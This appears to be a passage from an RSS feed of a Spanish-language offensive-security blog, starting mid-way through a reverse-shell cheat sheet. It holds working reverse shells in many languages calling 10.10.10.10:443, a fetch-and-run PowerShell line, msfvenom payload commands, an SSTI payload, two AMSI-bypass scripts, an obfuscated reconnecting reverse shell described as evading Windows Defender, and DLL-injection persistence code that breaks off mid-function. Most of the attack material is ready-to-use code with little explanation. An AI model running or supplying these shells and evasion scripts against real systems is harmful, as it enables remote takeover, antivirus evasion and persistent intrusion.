&lt;pre&gt;&lt;code&gt;powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&quot;10.10.10.10&quot;,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&amp;gt; &quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c &quot;$client = New-Object System.Net.Sockets.TCPClient(&apos;10.10.10.10&apos;,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &apos;PS &apos; + (pwd).Path + &apos;&amp;gt; &apos;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;

powershell IEX (New-Object Net.WebClient).DownloadString(&apos;http://10.10.10.10:8000/reverse.ps1&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Xterm&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;xterm -display 10.10.10.10:443
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Perl&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;perl -e &apos;use Socket;$i=&quot;10.10.10.10&quot;;$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&amp;gt;&amp;amp;S&quot;);open(STDOUT,&quot;&amp;gt;&amp;amp;S&quot;);open(STDERR,&quot;&amp;gt;&amp;amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Server Side Template Injection&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;{% for x in ().__class__.__base__.__subclasses__() %}{% if &quot;warning&quot; in x.__name__ %}{{x()._module.__builtins__[&apos;__import__&apos;](&apos;os&apos;).popen(&quot;python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\&quot;10.10.10.10\&quot;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\&quot;/bin/bash\&quot;, \&quot;-i\&quot;]);&apos;&quot;).read().zfill(417)}}{%endif%}{% endfor %}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;UnrealIRCd&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;AB;nc -e /bin/sh 10.10.10.10 443&quot; |nc 192.168.1.3 6667
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Any Plugin Php&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

/**
* Plugin Name: Shelly
* Plugin URI: http://localhost
* Description: Love Shelly
* Version: 1.0
* Author: d4t4s3c
* Author URI: https://github.com/d4t4s3c
*/

exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1&apos;&quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;October&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;function onstart(){    exec(&quot;/bin/bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1&apos;&quot;);}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Jenkins&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;String host=&quot;10.10.10.10&quot;;
int port=443;
String cmd=&quot;cmd.exe&quot;;
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()&amp;gt;0)so.write(pi.read());while(pe.available()&amp;gt;0)so.write(pe.read());while(si.available()&amp;gt;0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Golang&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;package main;import&quot;os/exec&quot;;import&quot;net&quot;;func main(){c,_:=net.Dial(&quot;tcp&quot;,&quot;10.10.10.10:443&quot;);cmd:=exec.Command(&quot;/bin/sh&quot;);cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}&apos; &amp;gt; /tmp/t.go &amp;amp;&amp;amp; go run /tmp/t.go &amp;amp;&amp;amp; rm /tmp/t.go
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Awk&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;awk &apos;BEGIN {s = &quot;/inet/tcp/0/10.10.10.10/443&quot;; while(42) { do{ printf &quot;shell&amp;gt;&quot; |&amp;amp; s; s |&amp;amp; getline c; if(c){ while ((c |&amp;amp; getline) &amp;gt; 0) print $0 |&amp;amp; s; close(c); } } while(c != &quot;exit&quot;) close(s); }}&apos; /dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Ruby&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ruby -rsocket -e&apos;f=TCPSocket.open(&quot;10.10.10.10&quot;,443).to_i;exec sprintf(&quot;/bin/sh -i &amp;lt;&amp;amp;%d &amp;gt;&amp;amp;%d 2&amp;gt;&amp;amp;%d&quot;,f,f,f)&apos;

ruby -rsocket -e &apos;exit if fork;c=TCPSocket.new(&quot;10.10.10.10&quot;,&quot;443&quot;);while(cmd=c.gets);IO.popen(cmd,&quot;r&quot;){|io|c.print io.read}end&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;strong&gt;Msfvenom&lt;/strong&gt;&lt;/h1&gt;
&lt;h2&gt;Php Payloads&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; reverse.php

msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; reverse.php
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Jar Payload&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f jar &amp;gt; reverse.Jar
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Jsp Payload&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f raw &amp;gt; reverse.jsp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;War&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f war &amp;gt; reverse.war
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ASPX Payload&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f aspx -o reverse.aspx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Linux Payloads&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf &amp;gt; reverse.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf &amp;gt; reverse.elfmsfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f elf &amp;gt; reverse.elf\
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Windows Payloads&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe &amp;gt; reverse.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe &amp;gt; reverse.exe

msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f exe &amp;gt; reverse.exe
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Bypass AMSI PInvoke</title><link>https://xfomar.com/posts/bypass-amsi-pinvoke-1md</link><guid isPermaLink="true">https://xfomar.com/posts/bypass-amsi-pinvoke-1md</guid><description>Script en PowerShell que usa P/Invoke para parchear AmsiScanBuffer y desactivar la detección de scripts maliciosos.</description><pubDate>Tue, 31 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Este script en PowerShell utiliza P/Invoke &lt;em&gt;&lt;strong&gt;(Platform Invocation Services)&lt;/strong&gt;&lt;/em&gt;, que es un mecanismo para interactuar con funciones nativas de la API de Windows desde código administrado en .NET para interactuar con la biblioteca &lt;code&gt;kernel32.dll&lt;/code&gt; de Windows. Define una clase &lt;code&gt;PInvoke&lt;/code&gt; con métodos para cargar una biblioteca  LoadLibrary, obtener la dirección de una función  GetProcAddress y cambiar los permisos de memoria  VirtualProtect.&lt;/p&gt;
&lt;p&gt;Luego, decodifica los nombres de la biblioteca &lt;code&gt;amsi.dll&lt;/code&gt; y la función &lt;code&gt;AmsiScanBuffer&lt;/code&gt;, los carga en memoria y cambia sus permisos de memoria. Finalmente, parchea la función  AmsiScanBuffer en tiempo de ejecución con un nuevo código de máquina.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Author: Omar Salazar
$PInvokeDeclarations = @&quot;
using System;
using System.Runtime.InteropServices;
public class PInvoke {
    [DllImport(&quot;kernel32&quot;)]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport(&quot;kernel32&quot;)]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport(&quot;kernel32&quot;)]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
&quot;@
Add-Type $PInvokeDeclarations

$amsiDll = [System.Net.WebUtility]::HtmlDecode(&apos;&amp;amp;#97;&amp;amp;#109;&amp;amp;#115;&amp;amp;#105;&amp;amp;#46;&amp;amp;#100;&amp;amp;#108;&amp;amp;#108;&apos;)
$amsiScanBuffer = [System.Net.WebUtility]::HtmlDecode(&apos;&amp;amp;#65;&amp;amp;#109;&amp;amp;#115;&amp;amp;#105;&amp;amp;#83;&amp;amp;#99;&amp;amp;#97;&amp;amp;#110;&amp;amp;#66;&amp;amp;#117;&amp;amp;#102;&amp;amp;#102;&amp;amp;#101;&amp;amp;#114;&apos;)

$amsiDllHandle = [PInvoke]::LoadLibrary($amsiDll)
$amsiScanBufferPtr = [PInvoke]::GetProcAddress($amsiDllHandle, $amsiScanBuffer)

$oldProtect = 0
[PInvoke]::VirtualProtect($amsiScanBufferPtr, [uint32]5, 0x40, [ref]$oldProtect)

$patchBytes = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patchBytes, 0, $amsiScanBufferPtr, 6)

&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Bypass AMSI Obfuscation</title><link>https://xfomar.com/posts/bypass-amsi-obfuscation1</link><guid isPermaLink="true">https://xfomar.com/posts/bypass-amsi-obfuscation1</guid><description>Script en PowerShell que usa técnicas precisas de ofuscación para eludir la seguridad de AMSI.</description><pubDate>Wed, 01 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;El script de PowerShell intenta deshabilitar el Servicio Interfaz de examen antimalware (AMSI) de Microsoft, una característica de seguridad de Windows que permite a las aplicaciones antivirus escanear scripts de PowerShell en busca de comportamientos maliciosos.&lt;/p&gt;
&lt;p&gt;Primero, la función &lt;strong&gt;&lt;code&gt;Is-AMSIDisabled&lt;/code&gt;&lt;/strong&gt; verifica si AMSI está deshabilitado, utilizando &lt;strong&gt;&lt;code&gt;Get-variable&lt;/code&gt;&lt;/strong&gt; para obtener una variable específica y comprobando si el campo &apos;amsi&apos; es verdadero.&lt;/p&gt;
&lt;p&gt;Luego, el bloque &lt;strong&gt;&lt;code&gt;try&lt;/code&gt;&lt;/strong&gt; intenta deshabilitar AMSI estableciendo el campo &apos;amsi&apos; en verdadero. Si tiene éxito, imprime &quot;AMSI Successfully Disabled&quot;. Si AMSI ya está deshabilitado, imprime &quot;AMSI&quot;. Si hay un error, captura la excepción con catch e imprime &quot;Error Disabling AMSI: $&lt;em&gt;&quot;, donde $&lt;/em&gt; es la excepción capturada.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Author: Omar Salazar
# Verify if AMSI is disabled
function Is-AMSIDisabled {
    return ((Get-variable ((&apos;1Q&apos;+&apos;2U&apos;) +&apos;zX&apos;)).&quot;A`ss`Embly&quot;.&quot;GET`TY`Pe&quot;((&apos;Uti&apos;+&apos;l&apos;,&apos;A&apos;,(&apos;Am&apos;+&apos;si&apos;),(&apos;.Man&apos;+&apos;age&apos;+&apos;men&apos;+&apos;t.&apos;),(&apos;u&apos;+&apos;to&apos;+&apos;mation.&apos;),&apos;s&apos;,(&apos;Syst&apos;+&apos;em&apos;))).g`etf`iElD&quot;((&apos;a&apos;+&apos;msi&apos;),&apos;d&apos;,(&apos;I&apos;+&apos;nitF&apos;+&apos;aile&apos;))).GetValue($null) -eq $true
}

# AMSI Bypass
try {
    Set-Item (&apos;Va&apos;+&apos;rI&apos;+&apos;a&apos;+&apos;blE:1&apos;+&apos;q2&apos;+&apos;uZx&apos;) ([TYpE](&quot;F&quot;+&apos;rE&apos;)) 
    (Get-variable ((&apos;1Q&apos;+&apos;2U&apos;) +&apos;zX&apos;)).&quot;A`ss`Embly&quot;.&quot;GET`TY`Pe&quot;((&apos;Uti&apos;+&apos;l&apos;,&apos;A&apos;,(&apos;Am&apos;+&apos;si&apos;),(&apos;.Man&apos;+&apos;age&apos;+&apos;men&apos;+&apos;t.&apos;),(&apos;u&apos;+&apos;to&apos;+&apos;mation.&apos;),&apos;s&apos;,(&apos;Syst&apos;+&apos;em&apos;))).g`etf`iElD&quot;((&apos;a&apos;+&apos;msi&apos;),&apos;d&apos;,(&apos;I&apos;+&apos;nitF&apos;+&apos;aile&apos;))).(sE`T`VaLUE)(${n`ULl},${t`RuE})

    if (Is-AMSIDisabled) {
        Write-Output &quot;AMSI&quot;
    } else {
        Write-Output &quot;AMSI Successfully Disabled&quot;
    }
} catch {
    Write-Output &quot;Error Disabling AMSI: $_&quot;
}

&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Reverse Shell Bypass Windows PowerShell</title><link>https://xfomar.com/posts/reverse-shell-bypass-windows-powershell1</link><guid isPermaLink="true">https://xfomar.com/posts/reverse-shell-bypass-windows-powershell1</guid><description>Script de PowerShell elude Windows Defender al recibir datos de un servidor remoto, decodica y evade dinámicamente por memoria.</description><pubDate>Thu, 02 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Este script de PowerShell es un cliente de shell inverso, permite eludir de manera efectiva la seguridad de Windows Defender. El script recibe datos del servidor remoto a través de una conexión TCP. Estos datos se leen en un búfer, que es simplemente un bloque de memoria reservado para almacenar los datos temporales. En este caso, el búfer es un array de bytes con una longitud de 1024. Dentro del bucle de lectura, el script lee los datos del búfer y los decodifica utilizando la codificación ASCII.&lt;/p&gt;
&lt;h2&gt;POC&lt;/h2&gt;
&lt;p&gt;Video POC &lt;a href=&quot;https://www.linkedin.com/feed/update/urn:li:ugcPost:7196028677061586944/&quot;&gt;ClickMe&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Funciones&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Conexión TCP&lt;/strong&gt;: El script intenta establecer una conexión TCP con un servidor remoto.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ejecución de comandos&lt;/strong&gt;: Los comandos enviados por el servidor remoto se ejecutan en la máquina local.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Envío de la salida del comando&lt;/strong&gt;: La salida de los comandos ejecutados se envía de vuelta al servidor remoto.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reconexión automática&lt;/strong&gt;: Si la conexión se cierra por cualquier motivo, el script intentará reconectar después de un intervalo de tiempo especificado.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Bypass Logico&lt;/h2&gt;
&lt;p&gt;El script utiliza varias técnicas para eludir Windows Defender sin necesidad de &lt;strong&gt;third party tools&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Alias de cmdlets&lt;/strong&gt;: Se utilizan alias para los cmdlets de PowerShell para hacer que el código sea menos reconocible.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Codificación de cadenas&lt;/strong&gt;: Las cadenas en el código están codificadas para evitar la detección por parte de las soluciones de seguridad basadas en firmas.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reintentos de conexión silenciosos&lt;/strong&gt;: Si la conexión se cierra, el script intentará reconectar silenciosamente.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;# Author: Omar Salazar
# Define constants
$ip = &quot;192.168.1.1&quot; 
$port = 4444
$retryInterval = 10  
$maxRetries = 5  

# Create aliases for cmdlets
Set-Alias -Name &quot;n&quot; -Value &quot;New-Object&quot;
Set-Alias -Name &quot;s&quot; -Value &quot;Start-Sleep&quot;
Set-Alias -Name &quot;g&quot; -Value &quot;Get-Location&quot;

# Main loop
do {
    # Create TCP client
    $c = n S`ySt`em.N`eT.`s`ock`eTs.TC`PC`li`eNt($ip, $port)
    $s = $c.GetStream()

    # Buffer for incoming data
    $b = n Byt`e[] 1024
    $d = &quot;&quot;

    # Read loop
    while (($x = $s.Read($b, 0, $b.Length)) -ne 0) {
        # Decode and execute command
        $e = (n -TypeName System.Text.ASCIIEncoding).GetString($b,0, $x)
        $f = (iex $e 2&amp;gt;&amp;amp;1 | Out-String)

        # Prepare and send response
        $g = $f + (g).Path + &apos;&amp;gt; &apos;
        $h = ([text.encoding]::ASCII).GetBytes($g)
        $s.Write($h,0,$h.Length)
        $s.Flush()
    }

    # Close connection and wait before trying again
    $c.Close()
    s -Seconds $retryInterval
    $maxRetries--
} while ($maxRetries -gt 0)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Descripción&lt;/h2&gt;
&lt;p&gt;Aquí, &lt;code&gt;n -TypeName System.Text.ASCIIEncoding&lt;/code&gt; crea un nuevo objeto de tipo &lt;code&gt;System.Text.ASCIIEncoding&lt;/code&gt;, que es una clase en .NET que proporciona métodos para codificar y decodificar texto en ASCII. Luego, el método GetString de este objeto se utiliza para decodificar los bytes en el búfer en una cadena de texto.&lt;/p&gt;
&lt;p&gt;Una vez que los datos se han decodificado en una cadena de texto, se ejecutan como un comando de PowerShell con &lt;code&gt;iex $e 2&amp;gt;&amp;amp;1 | Out-String. iex&lt;/code&gt; es un alias para &lt;code&gt;Invoke-Expression&lt;/code&gt;, que ejecuta una cadena de texto como un comando de PowerShell. &lt;code&gt;2&amp;gt;&amp;amp;1&lt;/code&gt; redirige los errores a la salida estándar, y &lt;code&gt;Out-String&lt;/code&gt; convierte la salida en una cadena de texto.&lt;/p&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Establecer presencia via Inyección en DLLs #1</title><link>https://xfomar.com/posts/establecer-presencia-via-inyeccio%CC%81n-en-dlls1</link><guid isPermaLink="true">https://xfomar.com/posts/establecer-presencia-via-inyeccio%CC%81n-en-dlls1</guid><description>Establecer presencia en Red Team implica asegurar un acceso persistente a sistemas comprometidos, incluso tras reinicios, parches o nuevas medidas de seguridad.</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Cuando hablamos de establecer presencia se refiere a la fase en la que los miembros del Red Team aseguran un acceso persistente a los sistemas y redes comprometidos.
Esta etapa es crucial para garantizar que el equipo pueda mantener su acceso incluso si se reinician los sistemas, se aplican parches o se toman medidas
de seguridad adicionales. Establecer presencia implica varias actividades, entre las cuales pueden inluciur:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Instalación de Backdoors y RATs (Remote Access Trojans):&lt;/strong&gt; Los simuladores pueden instalar backdoors o troyanos de acceso remoto que les permitan conectarse a los sistemas comprometidos en cualquier momento. Estos backdoors están diseñados para evadir la detección y persistir a través de reinicios y actualizaciones del sistema.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Modificación de Servicios y Tareas Programadas:&lt;/strong&gt; Los miembros del Red Team pueden modificar servicios existentes o crear nuevas tareas programadas que ejecuten código malicioso de forma periódica, asegurando así que el acceso se restaure automáticamente si se pierde.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Alteración de Configuraciones de Seguridad:&lt;/strong&gt; Pueden realizar cambios en las configuraciones de seguridad del sistema, como deshabilitar antivirus, modificar firewalls o alterar políticas de contraseñas, para reducir las posibilidades de detección y eliminación.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Uso de Técnicas de Persistence en el Registro y el Sistema de Archivos:&lt;/strong&gt; Los atacantes pueden agregar claves al registro de Windows o archivos en ubicaciones específicas que garanticen la ejecución de su código malicioso durante el inicio del sistema o cuando se ejecutan ciertas aplicaciones.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Establecimiento de Canales de Comunicación Encubiertos:&lt;/strong&gt; Para mantener una comunicación constante con los sistemas comprometidos, el Red Team puede establecer canales de comunicación encubiertos utilizando técnicas como tunelización de tráfico a través de protocolos legítimos (HTTP, HTTPS) o la creación de dominios de comando y control (C2) difíciles de detectar.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Uso de Credenciales Robadas:&lt;/strong&gt; Aprovechan credenciales robadas para crear nuevas cuentas de usuario con permisos administrativos o modificar cuentas existentes, proporcionando una forma adicional de acceso que es menos probable que sea detectada.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inyector de DLLs:&lt;/strong&gt; Los miembros del Red Team pueden modificar o colocar una DLL maliciosa en un directorio donde una aplicación vulnerable la cargará en lugar de la DLL legítima.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;En este caso hablaremos del punto 7 la modificación o inyección en DLLs &lt;strong&gt;(Dynamic-Link Libraries)&lt;/strong&gt;.  Esta técnica se utiliza para insertar código malicioso en procesos legítimos del sistema, permitiendo así la persistencia y la ejecución del código malicioso de manera encubierta, haciendo que la actividad maliciosa sea más difícil de detectar.&lt;/p&gt;
&lt;h2&gt;Métodos Comunes de Inyección en DLLs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Inyección de DLL Básica:&lt;/strong&gt; Involucra el uso de funciones de la API de Windows como &lt;strong&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt;&lt;/strong&gt; y &lt;strong&gt;&lt;code&gt;LoadLibrary&lt;/code&gt;&lt;/strong&gt; para inyectar la DLL en el proceso objetivo.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hooking de Funciones:&lt;/strong&gt; Los atacantes pueden interceptar llamadas a funciones específicas en una DLL legítima y redirigirlas a su propio código malicioso.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reflective DLL Injection:&lt;/strong&gt; Permite la carga de una DLL directamente en la memoria sin escribir en el disco, lo que ayuda a evadir la detección basada en el sistema de archivos.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AppInit_DLLs:&lt;/strong&gt; Utiliza la clave de registro &lt;strong&gt;&lt;code&gt;AppInit_DLLs&lt;/code&gt;&lt;/strong&gt; para cargar automáticamente DLLs especificadas en todos los procesos que usan user32.dll.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hijacking de DLL:&lt;/strong&gt; Consiste en reemplazar una DLL legítima con una maliciosa en ubicaciones donde el sistema espera encontrar la DLL original.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ventajas de la Inyección en DLLs&lt;/h2&gt;
&lt;p&gt;a.) &lt;strong&gt;Persistencia:&lt;/strong&gt; Permite mantener acceso continuo al sistema, incluso después de reinicios o cambios en la configuración de seguridad.&lt;/p&gt;
&lt;p&gt;b.) &lt;strong&gt;Evasión:&lt;/strong&gt; Al inyectar código malicioso en procesos legítimos, la actividad maliciosa puede camuflarse, haciendo más difícil su detección por herramientas de seguridad.&lt;/p&gt;
&lt;p&gt;c.) &lt;strong&gt;Acceso a Funcionalidades del Proceso:&lt;/strong&gt; El código inyectado puede aprovechar las capacidades y permisos del proceso anfitrión, lo que puede incluir acceso a recursos de red, archivos y más.&lt;/p&gt;
&lt;h2&gt;Ejemplo de Proceso de Inyección en DLL&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Proceso de Inyección en DLL
--------------------------------------

1. Identificación del Proceso Objetivo
   ├── Seleccionar un proceso en ejecución
   │    con privilegios elevados o acceso
   │    a recursos necesarios.
   │
   └──┬──&amp;gt;
      │
2. Inyección de la DLL
   ├── Utilizar técnicas de inyección para
   │    cargar la DLL maliciosa en el
   │    proceso objetivo.
   │
   └──┬──&amp;gt;
      │
3. Ejecución del Código Malicioso
   ├── El código malicioso en la DLL se
   │    ejecuta, permitiendo al atacante
   │    realizar acciones como:
   │    - Exfiltración de datos
   │    - Creación de backdoors adicionales
   │    - Manipulación del sistema
   │
   └──┬──&amp;gt;
      │
4. Mantenimiento de la Persistencia
   └── Asegurar que la DLL permanezca cargada
        y operativa incluso después de reinicios
        o intentos de remediación por parte del
        equipo de seguridad.
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Ejemplo Básico de Inyección en DLL via C++&lt;/h2&gt;
&lt;p&gt;En este ejemplo trataremos de inyectar una DLL en un proceso especificado por su ID de proceso (PID). La DLL se cargará en el proceso objetivo utilizando las funciones &lt;strong&gt;&lt;code&gt;OpenProcess&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;VirtualAllocEx&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;WriteProcessMemory&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;CreateRemoteThread&lt;/code&gt;&lt;/strong&gt; y &lt;strong&gt;&lt;code&gt;LoadLibrary&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DLL a Inyectar (ejemplo.dll):&lt;/strong&gt; Creamos una DLL simple la cual será inyectada en el proceso objetivo. Aquí te dejo un ejemplo de una DLL en C++:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// ejemplo.cpp
// Compilar este código en una DLL (ejemplo.dll)
// Omar Salazar
#include &amp;lt;windows.h&amp;gt;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, L&quot;DLL Injected!&quot;, L&quot;Success&quot;, MB_OK);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Código de Inyección:&lt;/strong&gt; Este es el código que inyectará la DLL en el proceso objetivo:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// inyector.cpp
// Compilar este código en un exe (inyector.exe)
// Omar Salazar
#include &amp;lt;windows.h&amp;gt;
#include &amp;lt;iostream&amp;gt;
#include &amp;lt;tchar.h&amp;gt;

BOOL InjectDLL(DWORD dwPID, const char* dllPath) {
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
    if (hProcess == NULL) {
